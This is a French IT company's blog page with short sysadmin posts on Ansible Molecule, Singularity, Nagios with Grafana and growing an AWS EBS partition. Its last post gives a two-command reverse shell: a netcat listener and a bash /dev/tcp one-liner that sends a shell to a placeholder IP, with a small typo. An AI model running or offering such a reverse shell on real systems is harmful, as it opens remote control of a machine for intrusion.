Votre société de services en logiciels libres

Linux Pratique n°128 – Testez vos rôles Ansible avec Molecule

19 janvier 2022   

linux-pratique-128

Voilà bien un outil pratique qui permet de tester vos rôles Ansible ! Ansible a pris tellement d’importance qu’il est indispensable de s’assurer de la validité et de l’idempotence des rôles. Molecule vous aide à tester vos rôles en enchainant des étapes pénibles comme la création de l’environnement de test, l’application des rôles, la vérification des résultats (que vous pouvez aussi exprimer à l’aide de Playbooks !), puis le test d’idempotence et enfin le grand nettoyage !

Linux Pratique n°128 – Les Containers avec Singularity

19 janvier 2022   

linux-pratique-128

Cet article décrit la solution de containerisation Singularity qui propose une solution adapteé à l’usage des containers principalement sur les clusters de calcul (HPC). Par opposition à Docker, aucun démon n’est nécessaire, aucun privilège « root » n’est requis…

Linux Mag n°248 – Comment interfacer Nagios et Grafana !

25 avril 2021   
Linux Mag n°248 – Comment interfacer Nagios et Grafana !

Cet article propose une solution simple, à base de scripts Python, pour faire afficher les alertes de Nagios dans un tableau de Grafana.

Retailler un disque EBS

5 janvier 2021   

Une fois la taille du disque EBS augmentée, la commande lsblk doit refléter cette augmentation. Ici le disque /dev/nvme0n1 est passé de 8 à 8 Gio:

$ lsblk
NAME          MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
nvme0n1       259:0    0   9G  0 disk
├─nvme0n1p1   259:1    0   8G  0 part /
└─nvme0n1p128 259:2    0   1M  0 part

Dans notre cas, il s’agit d’augmenter la taille d’une partition. Si ce n’est pas le cas et qu’il s’agit d’augmenter la taille d’un système de fichiers situé sur un disque, utilisez directement la commande de retaillage du type de système de fichiers (resize2fs ou xfs_growfs).

Attention, la commande suivante a besoin de créer des fichiers temporaires, il faut donc de l’espace sous /tmp. Pour cela, créez un système de fichiers de type tmpfs :

$ sudo mount -o size=10M,rw,nodev,nosuid -t tmpfs tmpfs /tmp

Pour augmenter la taille de la partition :

$ sudo growpart /dev/nvme0n1 1

Pour retailler le système de fichiers (ici, de type XFS) :

$ sudo xfs_growfs -d /

 

Créer un « reverse-shell » en 2 commandes

31 décembre 2020   

Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l’écoute du port souhaité :

$ nc -lvp 4242

(on suppose que l’adresse IP de cette machine est 1.2.3.4)

Sur la machine distante, sur laquelle vous souhaitez exécuter un « reverse-shell », vous lancez la commande suivante :

# bash -c "sh - i >&/dev/tcp/1.2.3.4/4242 0>&1"

…et le tour est joué !